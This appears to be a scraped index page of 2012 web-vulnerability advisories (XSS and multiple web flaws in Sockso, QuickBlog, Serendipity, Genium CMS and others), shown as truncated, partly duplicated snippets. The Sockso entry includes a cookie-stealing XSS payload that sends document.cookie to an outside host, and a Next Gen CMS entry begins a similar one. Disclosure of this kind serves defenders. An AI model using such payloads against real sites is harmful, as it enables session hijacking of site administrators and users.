Sockso 1.51 - Persistent Cross-Site Scripting

Sockso 1.51 - Persistent Cross-Site Scripting Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

Sockso 1.51 - Persistent Cross-Site Scripting

Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

QuickBlog v0.8 CMS - Multiple Web Vulnerabilities

Document Title: =============== QuickBlog v0.8 CMS - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=567 Release Date: ============= 2012-05-11 Vulnerability Laboratory ID VL-ID: ==================================== 567 Commo...

NetBill Billing System v1.2 - Multiple Web Vulnerabilities

Document Title: =============== NetBill Billing System v1.2 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=560 Release Date: ============= 2012-05-10 Vulnerability Laboratory ID VL-ID: ====================================...

NetBill Billing System v1.2 - Multiple Web Vulnerabilities

Document Title: =============== NetBill Billing System v1.2 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=560 Release Date: ============= 2012-05-10 Vulnerability Laboratory ID VL-ID: ====================================...

Proman Xpress v5.0.1 - Multiple Web Vulnerabilities

Exploit for php platform in category web applications Title: ====== Proman Xpress v5.0.1 - Multiple Web Vulnerabilities Introduction: ============= Proman Xpress v5.0.1 is a super project management script coded in PHP & MySQL. It s highly customizable and is used across industries. No Encryption...

Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities

Document Title: =============== Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=525 Release Date: ============= 2012-05-08 Vulnerability Laboratory ID VL-ID: ====================================...

Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities

Exploit for php platform in category web applications Title: ====== Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities Introduction: ============= Viscacha is a free bulletin board system with an integrated CMS. The intention of the software engineers is to combine the current standards...

Proman Xpress v5.0.1 - Multiple Web Vulnerabilities

Document Title: =============== Proman Xpress v5.0.1 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=513 Release Date: ============= 2012-05-08 Vulnerability Laboratory ID VL-ID: ==================================== 512...

myCare2x CMS - Multiple Vulnerabilities

Title: ====== myCare2x CMS - Multiple Web Vulnerabilities Date: ===== 2012-05-03 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=524 VL-ID: ===== 524 Introduction: ============= myCare2x is an web application. All program modules and data accesses are processed in the...

Genium CMS 2012/Q2 - Multiple Vulnerabilities

Title: ====== Genium CMS 2012|Q2 - Multiple Web Vulnerabilities Date: ===== 2012-05-02 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=517 VL-ID: ===== 517 Introduction: ============= Durch den Einsatz von Genium CMS können Sie Ihre Homepage schnell und unabhängig von...

Serendipity v1.6 CMS - Multiple Web Vulnerabilities

Document Title: =============== Serendipity v1.6 CMS - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=535 Release Date: ============= 2012-05-04 Vulnerability Laboratory ID VL-ID: ==================================== 535...

Next Gen CMS XSS Presistent Vulnerability

Exploit for php platform in category web applications Exploit Title: ACTIVE XSS Next Gen CMS Author: mix0x0 Vendor or Software Link: http://ngcms.ru/ Version: 0.9.3 Release SVN880+FIX01 Vulnerable to the field: "title", test blog Exploit test: var t = new Image;...

Serendipity v1.6 CMS - Multiple Web Vulnerabilities

Document Title: =============== Serendipity v1.6 CMS - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=535 Release Date: ============= 2012-05-04 Vulnerability Laboratory ID VL-ID: ==================================== 535...

GetSimple CMS v3.1 - Multiple Web Vulnerabilities

Document Title: =============== GetSimple CMS v3.1 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=521 Release Date: ============= 2012-05-03 Vulnerability Laboratory ID VL-ID: ==================================== 521 Commo...

WordPress Zingiri Web Shop Plugin <= 2.4.2 - Persistent XSS

WordPress Zingiri Web Shop plugin is prone to persistent cross-site scripting vulnerabilities. It fails to properly clean up user-supplied input. An attacker may execute arbitrary script code in the browser of an user in the context of the affected site. In this way the attacker can steal...

Genium CMS 2012|Q2 - Multiple Web Vulnerabilities

Exploit for php platform in category web applications Title: ====== Genium CMS 2012|Q2 - Multiple Web Vulnerabilities Introduction: ============= Durch den Einsatz von Genium CMS kцnnen Sie Ihre Homepage schnell und unabhдngig von Spezialisten betreuen. Kostengьnstig, schnell und flexibel. Das...

C4B XPhone UC Web 4.1.890S R1 - Cross Site Vulnerability

Title: ====== C4B XPhone UC Web 4.1.890S R1 - Cross Site Vulnerability Date: ===== 2012-04-24 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=484 VL-ID: ===== 484 Introduction: ============= XPhone Unified Communications 2011 ist die leistungsstarkste Telefonie- und...

Opial CMS v2.0 - Multiple Web Vulnerabilities

Title: ====== Opial CMS v2.0 - Multiple Web Vulnerabilities Date: ===== 2012-04-27 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=522 VL-ID: ===== 522 Introduction: ============= Opial lets you create audio mp3/ram/rm/avi/mpg/wav/ai f or any other format audio/video...

Pritlog v0.821 CMS - Multiple Web Vulnerabilities

Title: ====== Pritlog v0.821 CMS - Multiple Web Vulnerabilities Date: ===== 2012-04-29 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=534 VL-ID: ===== 534 Introduction: ============= PRITLOG is an extremely simple, small 500K uncompressed and powerful blog system. It...